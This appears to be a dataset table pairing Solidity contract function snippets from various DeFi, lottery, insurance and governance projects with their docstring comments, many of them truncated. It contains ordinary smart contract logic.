file_name stringlengths 71 779k | comments stringlengths 0 29.4k | code_string stringlengths 20 7.69M | __index_level_0__ int64 2 17.2M |
|---|---|---|---|
// SPDX-License-Identifier: MIT
// COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol
// Copyright 2020 Compound Labs, Inc.
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following con... | Update the given pool's SUSHI allocation point. Can only be called by the owner. | function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
_allocPoint
);
poolInfo[_pi... | 145,134 |
pragma solidity ^0.4.25;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABL... | Credits payouts to insurees, multiply by 1.5/ | function creditInsurance
(uint _id, uint _amountToCredit)
requireIsOperational
public
{
Insurance memory insurance = insurancesById[_id];
creditedAmounts[insurance.owner] = creditedAmounts[insurance.owner].add(_amountToCredit.mul(3).div(2));
emit InsuranceCredited(_id);
}... | 997,976 |
pragma solidity ^0.6.0;
import "@chainlink/contracts/src/v0.6/ChainlinkClient.sol";
/**
* Smart Contract that allows interactivity with the real world
*/
contract Interactive is ChainlinkClient {
//variables
//storing actionFee amount needed for the event
address public owner;
uint256 public actionF... | Withdraw eth from this contract/Transfer to sender | function withdraw(uint amount) public returns(bool) {
require(_deposits[msg.sender] >= amount);
_deposits[msg.sender] -= amount;
msg.sender.transfer(amount);
emit Withdrawn(msg.sender, amount);
return true;
}
| 7,292,473 |
./partial_match/1/0x4488BC6F7C6b40b2f6A57565C5AD3ad71126DEa2/sources/FTTCPOS.sol | Set new router and make the new pair address | function setNewRouterandMakePair(address newRouter) public onlyOwner() {
IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(newRouter);
uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH());
uniswapV2Router = _newPCSRouter;
}
| 9,177,264 |
./partial_match/1/0xA5BFc2C9C777917c0d0198D0a9DC62a70C205Dca/sources/src/FrxEthEthCurveLpDualOracle.sol | The ```setMaximumCurvePoolVirtualPrice``` function sets the maximum virtual price Must be called by the timelock _newMaximum The new maximum virtual price | function setMaximumCurvePoolVirtualPrice(uint256 _newMaximum) external override {
_requireTimelock();
_setMaximumCurvePoolVirtualPrice(_newMaximum);
}
| 3,693,408 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Reent... | This is from Timelock contract./ | function executeTransaction(address target, uint256 value, string memory signature, bytes memory data) external onlyTimelock returns (bytes memory) {
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
callData = abi.encodePacked(bytes4(keccak256(byte... | 5,343,600 |
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c ... | Addition to StandardToken methods. Decrease the amount of tokens that an owner allowed to a spender and execute a call with the sent data. approve should be called when allowed[_spender] == 0. To decrement allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) ... | function decreaseApprovalAndCall(
address _spender,
uint _subtractedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
return true;
}
| 2,314,996 |
pragma solidity ^0.6.8;
pragma experimental ABIEncoderV2;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.... | Allows buyer to transfer ownership of option to another user/ Only the seller may transfer an option Update option buyer | function transferSeller(uint optionUID, address newSeller) public {
Option storage option = options[optionUID];
bool isSeller = option.seller == msg.sender;
require(isSeller, "transferSeller(): must be seller");
option.seller = newSeller;
userOptions[newSeller].push(optionUID);
... | 6,756,054 |
// SPDX-License-Identifier: Apache-2.0-with-puul-exception
pragma solidity >=0.6.12;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract PuulAccessControl is AccessControl {
using Safe... | Trying out function parameters for a functional map / | function mapToken(IERC20[] storage self, function (IERC20) view returns (uint256) f) internal view returns (uint256[] memory r) {
uint256 len = self.length;
r = new uint[](len);
for (uint i = 0; i < len; i++) {
r[i] = f(self[i]);
}
}
| 13,474,950 |
pragma solidity 0.6.12;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `i... | Withdraw LP tokens from MasterChef. | function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accMnbksPerSha... | 1,640,552 |
./partial_match/1/0x409bf77A8E3Fe384497227eA508029B5364933DE/sources/contracts/staking/TokenStaking.sol | Returns length of slashing queue | function getSlashingQueueLength() external view override returns (uint256) {
return slashingQueue.length;
}
| 2,586,941 |
/**
*Submitted for verification at Etherscan.io on 2020-07-21
*/
pragma solidity ^0.6.0;
interface DMEX {
function availableBalanceOf(address token, address user) external view returns (uint256);
function withdraw(address token, uint256 amount) external returns (bool success);
}
interface UniswapV2ExchangeI... | Safe Subtraction Function - prevents integer overflow | function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
| 598,937 |
./full_match/5/0x6F33c38298a1D50fdae35af410Bba2D6eF1CFead/sources/src/LockedRevenueDistributionToken.sol | @inheritdoc ILockedRevenueDistributionToken/ | function setWithdrawalFeeExemption(address account_, bool status_) external virtual override {
require(msg.sender == owner, "LRDT:CALLER_NOT_OWNER");
require(account_ != address(0), "LRDT:ZERO_ACCOUNT");
if (status_) {
withdrawalFeeExemptions[account_] = true;
delete... | 7,053,784 |
./partial_match/1/0x1E3F86092187be49bb4C12c63eF3Ffb31f27d967/sources/__AdminUpgradeabilityProxy__.sol | Changes the admin of the proxy. Only the current admin can call this function. newAdmin Address to transfer proxy administration to./function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmi... | function __changeAdmin__(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
| 3,713,851 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.7;
import "../strategy-axial-farm-base.sol";
contract StrategyAxialAvaxAxialLp is StrategyAxialFarmBase {
uint256 public avax_axial_poolId = 2;
address public joe_avax_axial_lp = 0x5305A6c4DA88391F4A9045bF2ED57F4BF0cF4f62;
constructor(
addres... | Collects Axial tokens 10% is sent to treasury Donates DUST | function harvest() public override onlyBenevolent {
IMasterChefAxialV2(masterChefAxialV3).deposit(poolId, 0);
uint256 _axial = IERC20(axial).balanceOf(address(this));
if (_axial > 0) {
uint256 _keep = _axial.mul(keep).div(keepMax);
if (_keep > 0) {
_... | 1,036,284 |
// File: openzeppelin-solidity/contracts/access/Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
... | Static conversion Token count multiplier Burning run | function _run(uint256 _ix) internal {
require(_ix < A.length);
uint256 i;
if (N[_ix][0] > 0) {
uint256 mux = ERC20(A[_ix][0]).allowance(msg.sender, address(this)) / N[_ix][0];
require(mux > 0);
for (i = 0; i < A[_ix].length; ++i) {
ERC20... | 12,942,380 |
./full_match/1/0x4C7b266B4bf0A8758fa85E69292eE55c212236cF/sources/packed-solidity-arrays/contracts/PackedBooleanArray.sol | Verifies that the higher level count is correct, and that the last uint256 is left packed with 0's | function initStruct(uint256[] memory _arr, uint256 _len)
internal
pure
returns (PackedArray memory)
{
uint256 actualLength = _arr.length;
uint256 len0 = _len / 256;
require(actualLength == len0 + 1, "Invalid arr length");
uint256 len1 = _len % 256;
... | 4,934,592 |
/**
*Submitted for verification at Etherscan.io on 2021-03-12
*/
// hevm: flattened sources of src/DssSpell.sol
pragma solidity =0.6.11 >=0.6.11 <0.7.0;
////// lib/dss-exec-lib/src/CollateralOpts.sol
/* pragma solidity ^0.6.11; */
struct CollateralOpts {
bytes32 ilk;
address gem;
address join;
addre... | Rates Proposal Onboarding ETH-C | function actions() public override {
DssExecLib.setIlkStabilityFee("UNIV2DAIETH-A", THREE_PCT, true);
DssExecLib.setIlkStabilityFee("UNIV2USDCETH-A", THREE_PT_FIVE_PCT, true);
DssExecLib.setIlkStabilityFee("UNIV2WBTCETH-A", FOUR_PT_FIVE_PCT, true);
DssExecLib.setIlkStabilityFee("UNIV... | 10,691,726 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-upg... | Update reward variables of the given pool to be up-to-date. | function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = (address(pool.lpToken) == WETH)? address(this).balance : pool.lpToken.balanceOf(address(this));
if (lpSupply... | 994,706 |
/**
*Submitted for verification at Etherscan.io on 2019-07-31
*/
/* pragma solidity ^0.4.24; */
pragma solidity ^0.5.0;
// File: contracts/math/SafeMath.sol
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// @title SafeMath: overflow/underflow checks
// @notice Math ope... | fallback function. We need to receive Ether from Kyber Network | function ()
external
payable {
emit EtherReceived(msg.sender, msg.value);
}
| 5,372,310 |
./partial_match/1/0xa94310AeeD50687f7c39ACdAA5FCd311AEDB25f8/sources/contracts/erc721/ERC721EditionsDFS.sol | Returns whether `editionId` exists. editionId Id of edition being checked/ | function _editionExists(uint256 editionId) internal view returns (bool) {
return editionId < editionCurrentSupply.length;
}
| 3,645,433 |
./full_match/1/0x8348104A4583dfc075E6df8f8Bd98100aDc6bba4/sources/contracts/libs/BaseCollection.sol | Returns the token URI/ Check if the token exists using the _exists function Return the base URI | function tokenURI(uint256 tokenId_) public view virtual override returns (string memory) {
require(_exists(tokenId_), "Token does not exist");
return baseURI;
}
| 3,090,451 |
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... | Send back ether if not WETH. | function grantTokensTo(address tokenAddress, address ownerAddress, uint256 amount)
public
payable
{
_tokenBalances[tokenAddress][ownerAddress] += amount;
if (tokenAddress != address(weth)) {
msg.sender.transfer(msg.value);
require(msg.value == amount, "VAL... | 14,074,333 |
pragma solidity 0.5.8;
contract PaymentManager {
address owner;
struct User {
address payable referenceAddress;
uint256 balance;
}
struct Provider {
address payable referenceAddress;
string name;
uint256 balance;
uint256 cost;
}
mapping(addres... | Same but for the provider | function providerSignUp(uint256 cost, string memory name) public providerNotSignedUp(msg.sender) {
providersData[msg.sender].referenceAddress = msg.sender;
providersData[msg.sender].balance = 0;
providersData[msg.sender].cost = cost;
providersData[msg.sender].name = name;
tot... | 12,542,962 |
./full_match/1/0xC0aBdCd8B34C0B28258791726656B390BE7113cA/sources/contracts/marketplace/v2/CentMarketPlace.sol | Restricted method used to set the serviceWallet. Restricted to Admin Role. _serviceWallet The new account to receive the service fee. Emits the event { ServiceWalletUpdated }. | function updateServiceWallet(
address payable _serviceWallet
) external onlyRole(ADMIN_ROLE) {
serviceWallet = _serviceWallet;
emit ServiceWalletUpdated(serviceWallet);
}
| 16,508,383 |
./full_match/1/0x6A9Eb4A409e6354BcEBb0DfABA1Eb33eB5e4d27B/sources/contracts/DistributionCreator.sol | Same as the function above but for multiple distributions at once return List of all the distribution amounts actually deposited for each `distribution` in the `distributions` list | function createDistributions(
DistributionParameters[] memory distributions
) external hasSigned returns (uint256[] memory) {
uint256 distributionsLength = distributions.length;
uint256[] memory distributionAmounts = new uint256[](distributionsLength);
for (uint256 i; i < distrib... | 8,485,025 |
// File: contracts/IManager.sol
pragma solidity ^0.5.11;
contract IManager {
event SetController(address controller);
event ParameterUpdate(string param);
function setController(address _controller) external;
}
// File: contracts/zeppelin/Ownable.sol
pragma solidity ^0.5.11;
/**
* @title Ownable
*... | Return delegator info _delegator Address of delegator return total amount bonded by '_delegator' return amount of fees collected by '_delegator' return address '_delegator' has bonded to return total amount delegated to '_delegator' return round in which bond for '_delegator' became effective return round for which '_... | function getDelegator(
address _delegator
)
public
view
returns (uint256 bondedAmount, uint256 fees, address delegateAddress, uint256 delegatedAmount, uint256 startRound, uint256 lastClaimRound, uint256 nextUnbondingLockId)
{
Delegator storage del = delegators[_delega... | 1,112,540 |
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
// Simple contract used to withdraw liquidations using a DSProxy from legacy contracts (1.2.2 and below).
contract LiquidationWithdrawer {
function withdrawLiquidation(
address financialContractA... | Disputes a liquidation, if the caller has enough collateral to post a dispute bond and pay a fixed final fee charged on each price request. Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes. This contract must be approved to spend at least the dispute bond amount ... | function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
... | 99,839 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "flatHelper.sol";
contract StakingPools is AccessControlUpgradeable, ReentrancyGuardUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
/**********
* DATA INTERFACE
**********/
// Info of each user.
struct UserInfo {... | Withdraw (unstake) ASSET tokens _pid Pool's id _amount Amount to stake | function withdraw(uint256 _pid, uint256 _amount) public virtual nonReentrant poolRunning(_pid) hasPool(_pid) {
updatePool(_pid);
PoolInfo memory pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_msgSender()];
require(user.amount > 0 && user.amount >= _amount, "withdraw:... | 13,599,403 |
pragma solidity ^0.4.24;
import "../Roles.sol";
import "./ListerAdminRole.sol";
/**
* @title ListerRole
*
* @dev Role for providing access control to functions that add/remove accounts to/from a blacklist.
* This contract inherits from ListerAdminRole so that listerAdmins can administer this role.
*/
contract Li... | Internal function that asserts the given `account` is in `_listers`. account The account address being queried return True if the given `account` is in `_listers`, otherwise false/ | function _isLister(address account) internal view returns (bool) {
return _listers.has(account);
}
| 14,018,684 |
pragma solidity 0.5.6;
contract ArianeeWhitelist {
function addWhitelistedAddress(uint256 _tokenId, address _address) external;
}
contract ArianeeStore{
function canTransfer(address _to,address _from,uint256 _tokenId) external returns(bool);
function canDestroy(uint256 _tokenId, address _sender) external r... | Add a token access to a NFT. can only be called by an NFT's operator. _tokenId ID of the NFT. _key Public address of the token to encode the hash with. _enable Enable or disable the token access. _tokenType Type of token access (0=view, 1=tranfer). return true./ | function addTokenAccess(uint256 _tokenId, address _key, bool _enable, uint256 _tokenType) external isOperator(_tokenId, msg.sender) whenNotPaused() {
require(_tokenType>0);
if (_enable) {
tokenAccess[_tokenId][_tokenType] = _key;
}
else {
tokenAccess[_tokenId][_tokenType] = address(0);
... | 1,831,599 |
pragma solidity 0.5.11;
/**
* @dev An interface that allows custom logic to process exits for different requirements.
* This interface is used to dispatch to each custom processor when 'processExits' is called on PlasmaFramework.
*/
interface IExitProcessor {
/**
* @dev Function interface for processi... | An interface that allows custom logic to process exits for different requirements. This interface is used to dispatch to each custom processor when 'processExits' is called on PlasmaFramework./ | interface IExitProcessor {
function processExit(uint160 exitId, uint256 vaultId, address token) external;
}
| 6,431,009 |
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2; // solhint-disable-line
/**
* @dev Constant values shared across mixins.
*/
abstract contract Constants {
uint256 internal constant BASIS_POINTS = 10000;
}
interface ICHIARTNFT721 {
function tokenCreator(u... | If an auction has been created but has not yet received bids, it may be canceled by the seller. The NFT is returned to the seller from escrow./ | function cancelReserveAuction(uint256 auctionId) public nonReentrant {
ReserveAuction memory auction = auctionIdToAuction[auctionId];
require(auction.seller == msg.sender, "NFTMarketReserveAuction: Not your auction");
require(auction.endTime == 0, "NFTMarketReserveAuction: Auction in progress");
dele... | 41,817 |
pragma solidity 0.5.0;
contract EmmSharedNodes {
uint public constant MASTERNODE_DEPOSIT = 20000 * 10 ** 18;
uint public constant MASTERNODE_WITHDRAW = 1999999 * 10 ** 16;
uint public constant NODE_STOP_WITHDRAW_COMMISSION = 1 * 10 ** 16;
uint public constant MAX_COMMISSION_PERCENT = 50;
uint publ... | Stops one top node and returns MASTERNODE_DEPOSIT - NODE_STOP_WITHDRAW_COMMISSION to Shared Nodes Managing contract via proxy contract | function stopTopNode() private {
require(nextInactiveNode > 0);
nextInactiveNode = safeSub(nextInactiveNode, 1);
EmmSharedNodeProxy proxy = nodes[nextInactiveNode];
usedCoins = safeSub(usedCoins, MASTERNODE_DEPOSIT);
proxy.unregister();
}
| 5,465,472 |
pragma solidity ^0.4.20;
// Author: Booyoun Kim
// Date: 26 March 2019
// Version: Lotto v0.1.1
import "github.com/oraclize/ethereum-api/oraclizeAPI.sol";
contract Lotto is usingOraclize {
address owner;
uint selectedNum;
bool roundOpen = true;
uint totalAmount;
Buyer[] public buyers;
Winner[1] public winner... | 运营者汇款的奖金 一张票是五公斤的四角。那个未满是被无视的 现有门票号码号(比起下一步,要在上面) | function() payable {
if (msg.sender == 0x1B17eB8FAE3C28CB2463235F9D407b527ba4e6Dd) {
return;
}
if (roundOpen == true && msg.value >= 1000000000000000) {
buyers.length += 1;
uint id = buyers.length - 1;
buyers[id].id = id;
uint startIssueNum = getTicketTotalNum();
buyers[... | 12,575,427 |
./full_match/1/0x2DEbd05a915B8a79c8ef878db40e94e807646dD4/sources/contracts/CreatureFactory.sol | open creature check | function canMint(uint256 _optionId) override public view returns (bool) {
if (_optionId >= OPTIONS.length) {
return false;
}
Creature elementCreature = Creature(nftAddress);
uint256 creatureSupply = elementCreature.totalSupply();
uint256 numItemsAllocated = OPTI... | 9,805,607 |
./full_match/1/0xEf2D220C60E8e498C8aa1064772DEB27E14649Bb/sources/contracts/lmeow/Lmeow.sol.nolog.sol | holder limit limit 100 = 1%, 1=0.01%/ | function setLimitFractional(uint256 limit) external onlyOwner {
if (limit > TEN_THOUSAND) revert InvalidArgs();
limitFractional = limit;
}
| 8,428,932 |
./full_match/1/0xc258fF338322b6852C281936D4EdEff8AdfF23eE/sources/src/unshETHZap.sol | Mint wstETH Check the success of the wstETH mint Get balance of wstETH minted Call LSDVault to mint unshETH | function _mint_wstETH(uint256 ethAmount) internal {
require(success, "wstETH minting failed");
uint256 wstETHBalance = IERC20(wstETHAddress).balanceOf(address(this));
_deposit_lsd(wstETHAddress, wstETHBalance);
}
| 4,833,149 |
./full_match/1/0x6D3D7276261384C5D679f80d6394F7aC1C0f0c83/sources/contracts/OOOnimals.sol | mint function to support crossmint | function crossMint(address _to, uint256 _amount) public payable {
require(
_msgSender() == 0xdAb1a1854214684acE522439684a145E62505233,
"This function is for Crossmint only."
);
require(publicMintPrice * _amount == msg.value, "Invalid funds provided.");
... | 9,753,100 |
// SPDX-License-Identifier: Zlib
pragma solidity >=0.5.16 <0.8.0;
import "./Manageable.sol";
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a... | used in web3 truffle tests return id the highest store id | function getLastStoreId() external view returns (uint id) {
return lastStoreId;
}
| 12,949,920 |
./full_match/1/0x19BEC0cCDf4e2cDcb216c2b2162c08A2B4c655b9/sources/contracts/contracts-upgradeable/token/onft/ERC721/ONFT721CoreUpgradeable.sol | Public function for anyone to clear and deliver the remaining batch sent tokenIds cleared the credits, delete the element store the next index to mint | function clearCredits(bytes memory _payload) external {
bytes32 hashedPayload = keccak256(_payload);
require(
storedCredits[hashedPayload].creditsRemain,
"ONFT721: no credits stored"
);
(, uint[] memory tokenIds) = abi.decode(_payload, (bytes, uint[]));
uint nextIndex = _creditTill(
... | 2,936,023 |
./full_match/56/0x3Fd3C966381b668EFc5A5Efbc55BFAEd652Bb1AE/sources/project:/contracts/shard_warriors.sol | refsset user refs helper fillHeroesStats function random fill heroes stats | function registerMe(address referrer, uint256 faction)
external onlyUser {
address user = msg.sender;
require(warriors[user].regTs == 0, "already registered");
require(faction >= 0 && faction < 4, "no faction");
totalWarriors = totalWarriors.add(1);
address refL1 = warriors[referrer].regTs == 0... | 3,234,532 |
pragma solidity ^0.4.18; // solhint-disable-line
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf... | Creates a new promo Region with the given name, with given _price and assignes it to an address. | function createPromoRegion(address _owner, string _name, uint256 _price) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address regionOwner = _owner;
if (regionOwner == address(0)) {
regionOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
... | 1,307,825 |
./partial_match/3/0x35A1Ee2fe2b6833440888a0A6296fCf4667B998f/sources/Governance.sol | Change current governor _newGovernor Address of the new governor | function changeGovernor(address _newGovernor) external {
require(_newGovernor != address(0), "1n");
requireGovernor(msg.sender);
if (networkGovernor != _newGovernor) {
networkGovernor = _newGovernor;
emit NewGovernor(_newGovernor);
}
}
| 5,304,126 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.9;
/* EXTERNAL DEPENDENCIES */
import "@openzeppelin/contracts/access/Ownable.sol";
/* INTERNAL DEPENDENCIES */
import "./CommonStructs.sol";
/**
* @title Deals contract
* @notice Contains the client data: mapping of the rules and accounts defined by the clie... | Returns the address of an account of a deal _dealId Id of the deal _accountId Id of the account return Account address/ | function getAccount(uint _dealId, uint _accountId) public view returns(address) {
return accounts[_dealId][_accountId];
}
| 5,541,992 |
pragma solidity ^0.5.0;
import "../interfaces/ISRC20Roles.sol";
import "./SRC20.sol";
import "../interfaces/IAssetRegistry.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/ownership/Ownable.sol";
/**
* AssetRegistry holds the real-world/offchain properties of the various Ass... | Gets the currently valid Net Asset Value value for a token. src20 the token address. return The current Net Asset Value of the token./ | function getNetAssetValueUSD(address src20) external view returns (uint256) {
return assetList[src20].netAssetValueUSD;
}
| 1,805,819 |
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move con... | change configurable parameters, only manager can call newRebalanceBPS controls frequency of gelato rebalances: gas fee to execute rebalance can be gelatoRebalanceBPS proportion of fees earned since last rebalance newWithdrawBPS controls frequency of gelato withdrawals: gas fee to execute withdrawal can be gelatoWithd... | function updateGelatoParams(
uint16 newRebalanceBPS,
uint16 newWithdrawBPS,
uint16 newSlippageBPS,
uint32 newSlippageInterval,
address newTreasury
) external onlyManager {
require(newWithdrawBPS <= 10000, "BPS");
require(newRebalanceBPS <= 10000, "BPS");
... | 454,075 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./Interfaces.sol";
import "./interfaces/IGaugeController.sol";
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/math/SafeMath.sol';
/*
Immutable pool manager proxy to enforce that when a pool is shutdown, the prope... | force add a new pool, but only for addresses that have never been used before - only OPERATOR | function forceAddPool(address _lptoken, address _gauge, uint256 _stashVersion) external onlyOperator returns(bool){
require(!usedMap[_lptoken] && !usedMap[_gauge], "cant force used pool");
return _addPool(_lptoken, _gauge, _stashVersion);
}
| 1,040,788 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view re... | function store() external view returns (address); hard work should be callable only by the controller (by the hard worker) or by governance | interface IHarvestVault {
function underlyingBalanceInVault() external view returns (uint256);
function underlyingBalanceWithInvestment() external view returns (uint256);
function governance() external view returns (address);
function controller() external view returns (address);
function underl... | 18,046 |
./full_match/80001/0xf4f036a18961f7Ab421145bac1f27f0F73BFb643/sources/contracts/Company.sol | get company address _companyAddress (string) the email of the company return the company address (address)/ | function getCompanyAddress(
address _companyAddress
) public view returns (address) {
return company[_companyAddress].companyAddress;
}
| 5,596,744 |
//Address: 0x2f976a5382c0c6214b3d8fe6bdc5379edd35d9d4
//Contract name: GetsBurned
//Balance: 0 Ether
//Verification Date: 3/10/2018
//Transacion Count: 2
// CODE STARTS HERE
pragma solidity ^0.4.0;
contract GetsBurned {
function () payable public {
}
function BurnMe() public {
// Selfdestruct an... | Selfdestruct and send eth to self, | function BurnMe() public {
selfdestruct(address(this));
}
| 987,354 |
./full_match/1/0x57884b46d815d7cF42C04Cf226728a0D787eF58d/sources/JustRouter.sol | given an output amount of an asset and pair reserves, returns a required input amount of the other asset | function getAmountIn(uint256 amountOut, uint256 reserveIn, uint256 reserveOut) internal pure returns(uint256 amountIn) {
require(amountOut > 0, 'SwapLibrary: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'SwapLibrary: INSUFFICIENT_LIQUIDITY');
uint256 numerator = res... | 9,618,327 |
./partial_match/4/0xE1d9069B7b5cE11ab67Aa77806c5D1f9Ea3Bc813/sources/TellorTransition.sol | Function to be executed before the first transaction to new version is called. After performing the necessary steps, it just sets the "tellorContract" to the actual new version./Perfomr all necessary steps for the transitionAfter, change the "tellorAddress" to the new version | function _transition() internal {
tellor.uintVars[keccak256("timeTarget")] = 240;
tellor.addressVars[keccak256("tellorContract")] = newTellor;
}
| 8,723,783 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { AppStorageLib } from "../../../storage/app.sol";
import "../names.sol" as NAMES;
import {
RolesMods
} from "../../../contexts2/access-control/roles/RolesMods.sol";
import { ADMIN, AUTHORIZED } from "../../../shared/roles.sol";
import { RolesLib } fro... | It gets the current "MaximumLoanDuration" setting's value return value_ the current value./ | function getMaximumLoanDurationValue()
internal
view
returns (uint256 value_)
{
value_ = s(NAMES.MAXIMUM_LOAN_DURATION).value;
}
| 898,241 |
./full_match/1/0x23d69CF91De263f744DBe76B164D4362Ea76a5eb/sources/contracts/BTH.sol | /BTCBTH_BridgeQuery// | function GetBTCBTH_BridgeStatus() public {
if(BTCBTH_BridgeQuery_NTC == false || Claim_CAUTH == true){
if (block.timestamp - Claim_LastClaimTime > 1 days){
BTCBTH_BridgeQuery_NTC = true;
Claim_CAUTH = false;
BTCBTH_BridgeQuery_status = "BTCBTH_Bri... | 3,175,411 |
pragma solidity 0.8.10;
// Copyright BigchainDB GmbH and Ocean Protocol contributors
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import "./balancer/BFactory.sol";
import "../interfaces/IFactory.sol";
import "../interfaces/IERC20.sol";
import "../interfaces/IFixed... | removeOceanToken Removes a token if exists from the list of tokens with reduced fees oceanTokenAddress address Token to be removed/ it's in the array | function removeOceanToken(address oceanTokenAddress)
external
onlyRouterOwner
{
require(
oceanTokenAddress != address(0),
"FactoryRouter: Invalid Ocean Token address"
);
uint256 i;
for (i = 0; i < oceanTokens.length; i++) {
if(o... | 7,270,529 |
./full_match/11155111/0x88aec82f14002a56014819f4e23a22eB32F528b1/sources/contracts/staking/StakingExtension.sol | Internal: Set the period for undelegation of stake from indexer. _delegationUnbondingPeriod Period in epochs to wait for token withdrawals after undelegating/ | function _setDelegationUnbondingPeriod(uint32 _delegationUnbondingPeriod) private {
require(_delegationUnbondingPeriod > 0, "!delegationUnbondingPeriod");
__delegationUnbondingPeriod = _delegationUnbondingPeriod;
emit ParameterUpdated("delegationUnbondingPeriod");
}
| 3,838,874 |
/**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
// Verified using https://dapp.tools
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (uti... | exclude from paying fees or having max transaction amount | constructor() ERC20("ApeInu", "ApeInu") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
